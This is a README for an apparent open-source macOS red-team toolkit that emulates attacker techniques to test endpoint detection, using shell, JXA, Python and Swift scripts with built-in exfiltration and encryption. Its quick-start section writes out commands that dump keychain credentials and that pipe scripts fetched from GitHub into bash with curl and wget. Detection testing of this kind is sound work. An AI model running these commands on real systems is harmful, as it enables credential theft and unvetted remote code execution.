Key Features •
Quick Start •
Integrations
Attack-macOS provides scripts for security teams to evaluate macOS endpoint detection and response capabilities. This project executes Living Off The Orchard (LOLBins) techniques via standalone scripts with built-in encoding, encryption, formatting, logging, and exfiltration over DNS and HTTPS.
flowchart TD
    A1("🚫 Limited OSS testing tools")
    A2("⚡ Existing tools are tier II/III (advanced C2s)")
    A3("🛡️ Commercial tools focus on hardening and MDM")
    style A1 stroke:#ff6b35,stroke-width:2px,fill:transparent
    style A2 stroke:#ff6b35,stroke-width:2px,fill:transparent
    style A3 stroke:#ff6b35,stroke-width:2px,fill:transparent
    flowchart TD
    A4("📊 Limited technique and procedure coverage")
    A5("❓ Known risks are not common knowledge")
    A6("🔧 Hard to operationalize test pipelines")
  
    style A4 stroke:#ff6b35,stroke-width:2px,fill:transparent
    style A5 stroke:#ff6b35,stroke-width:2px,fill:transparent
    style A6 stroke:#ff6b35,stroke-width:2px,fill:transparent
    flowchart TD
    A1("✓ Build a library of attack scripts that help security teams evaluate and improve macOS endpoint detection and response capabilities.")
    style A1 stroke:#90EE90,stroke-width:2px,fill:transparent
    | Feature | Description | Benefit | 
|---|---|---|
| Builder Tool | YAML template, schema, and builder tool for new scripts with built-in argument parsing/validation. Parse Args | Reduces script development time and errors via automated validation. | 
| Modular Design | Self-contained scripts for independent use or easy integration with security test frameworks. | Allows quick deployment without complex toolchains. | 
| Standardized Help | All scripts include --helpmenus for standalone or handler-based execution. | Speeds up execution by reducing documentation lookup. | 
| macOS Native | TTPs primarily use native macOS command-line binaries and APIs (LOObins) via shell scripts. Some TTPs use osascript(for JXA/AppleScript),python3, orswiftfor specific tasks or wrappers. Theattackmacos.shhandler has minimal dependencies. | Produces realistic macOS telemetry by leveraging system utilities and scripting languages. | 
| MITRE ATT&CK Mapped | Scripts and arguments map directly to the MITRE ATT&CK framework. | Aids compliance reporting and threat model alignment. | 
| Logging | Syslog logging with JSON/CSV output formatting. Log Output | Automates evidence collection; speeds up post-test analysis. | 
| Encoding and Encryption | Offers multiple data encoding (Base64, Hex, Perl) and encryption (AES, GPG, XOR) options. Encode Output • Encrypt Output | Simulates evasion techniques for improved test realism. | 
| Exfiltration | Simulates data exfiltration via HTTP/S and DNS. Exfiltrate Data | Tests attack chains to find data loss prevention gaps. | 
| CI/CD Pipeline Ready | Integrates with security tools, automation pipelines, and CI/CD workflows. | Supports continuous security testing with less manual effort. | 
| Caldera Integration | Native Caldera plugin for integration with red team operations. Caldera Plugin | Streamlines Caldera deployment and execution for red teams. | 
| YAML-First Configuration | Each technique defined in YAML with complete metadata, arguments, and MITRE ATT&CK mapping | Automated ability generation and consistent deployments | 
| Modular Design | Self-contained scripts that work independently or combined, integrate with existing security test frameworks | Quick deployment without complex tool chains or infrastructure changes | 
| Standardized Help | All scripts include --helpmenus for standalone execution via custom deployment frameworks | Execute without documentation lookup | 
| macOS Native | Uses native tools and interpreters without external dependencies. See LOLBins | Produces macOS telemetry attributed to threat actors | 
| MITRE ATT&CK Mapped | All scripts and arguments mapped to MITRE ATT&CK framework with proper technique IDs and names | Compliance reporting and threat model alignment | 
| Multiple Output Formats | JSON, CSV output formatting for analysis and integration | Evidence collection and post-test analysis | 
| Encoding and Encryption | Multiple data encoding options and encryption functions including AES-256-CBC, GPG, and XOR | Test realism using evasion techniques | 
| Exfiltration | Data exfiltration via HTTP/S or DNS protocols | Test complete attack chains and identify detection gaps in data loss prevention | 
| CI/CD Pipeline Ready | Integrates with existing security tools, automation pipelines, and CI/CD workflows | Continuous security testing without manual intervention | 
flowchart TD
    A( 1: Choose your procedure script) --> A1("🐚 Shell Scripts")
    A --> A2("🟡 JXA Scripts")
    A --> A3("🐍 Python Scripts")
    A --> A4("🦉 Swift Scripts")
    
    A1 --> B( 2: Choose Delivery Method)
    A2 --> B
    A3 --> B
    A4 --> B
    
    B --> B1("🏠 Local ")
    B --> B2("☁️ Remote from GGH</br>curl</br>wget</>osascript ")
    
    B1 --> C(3: Execute</br>T1634: Dump Keys)
    B2 --> C
    
    C --> C1("📋 Format")
    C --> C2("🔧 Encode")
    C --> C3("🔐 Encrypt")
    C --> C4("📡 Exfiltrate")
    
    C1 --> D("📋 Log and<br>🔍Analyze Events")
    C2 --> D
    C3 --> D
    C4 --> D
    
    D --> D1("🎯 Identify Endpoint</br>Detection Gaps")
    
    style A1 fill:transparent,stroke:#6140E0,stroke-width:2px
    style A2 fill:transparent,stroke:#C7B300,stroke-width:2px
    style A3 fill:transparent,stroke:#3BC05A, stroke-width:2px
    style A4 fill:transparent,stroke:#47B7F8, stroke-width:2px
    style A fill:#0D0D0D,stroke:#7A6AB7,stroke-width:2px,color:#fff
    style B fill:#0D0D0D,stroke:#7A6AB7,stroke-width:2px,color:#fff
    style C fill:#0D0D0D,stroke:#EB5454,stroke-width:2px,color:#fff
    style D fill:#0D0D0D,stroke:#7A6AB7,stroke-width:2px,color:#fff
    style D1 fill:#1a237e,stroke:#47B7F8,stroke-width:2px,color:#fff
    # 1. Clone the repository
git clone https://github.com/darmado/attack-macOS.git
cd attack-macOS
# 2. Local execution using the handler
./attackmacos/attackmacos.sh --method local --tactic discovery --ttp browser_history --args='-s'
# 3. Remote execution using the handler
./attackmacos/attackmacos.sh --method curl --tactic credential_access --ttp keychain --args='--verbose --encode base64'
# 4. List available TTPs for a tactic
./attackmacos/attackmacos.sh --list-local --tactic discovery
./attackmacos/attackmacos.sh --list-remote --tactic credential_access
# 5. Show banner and help
./attackmacos/attackmacos.sh --banner --helpThe ./attackmacos/attackmacos.sh handler script requires:
- A POSIX-compliant shell (e.g., bash, zsh, sh).
- curlor- wgetfor remote script execution (when using- --method curlor- --method wgetrespectively).
- osascriptif using the- --method osascript(this is a standard component of macOS).
# 1. Build and sync Caldera plugin
python cicd/build_shell_procedure.py --sync-caldera
# 2. Copy plugin to Caldera
cp -r integrations/caldera/plugins/attackmacos /path/to/caldera/plugins/
# 3. Restart Caldera server
# Caldera operations will then include the plugin abilities.
# 4. Use with facts in Caldera
# Set fact: user.arg = "--safari --chrome --search malware"
# Execute ability: browser_historyCaldera Documentation: Caldera Plugin Guide
# 1. Clone the repository
git clone https://github.com/darmado/attack-macOS.git
cd attack-macOS
# 2. Run a technique directly
./ttp/discovery/shell/system_info.sh
# 3. Run with custom parameters
./ttp/credential_access/shell/keychain.sh --verbose --log-output --encode base64
# 4. Use the builder to create custom scripts
cd tools
python3 build_shell_procedure.py --input ../attackmacos/ttp/discovery/shell/system_info.yml --output ../custom_scripts/# 1. Execute directly from GitHub without cloning
curl -s https://raw.githubusercontent.com/darmado/attack-macOS/main/ttp/discovery/shell/system_info.sh | bash
# 2. Download and execute with parameters
curl -s https://raw.githubusercontent.com/darmado/attack-macOS/main/ttp/credential_access/shell/keychain.sh | bash -s -- --verbose --log-output --encode base64
# 3. Execute specific technique with wget
wget -qO- https://raw.githubusercontent.com/darmado/attack-macOS/main/ttp/discovery/shell/browser_history.sh | bashRepository: https://github.com/darmado/caldera-plugin-attack-macos
Native Caldera plugin for seamless integration with red team operations. The plugin transforms attack-macOS YAML configurations into ready-to-execute abilities using a full command approach.
Apache License 2.0. LICENSE
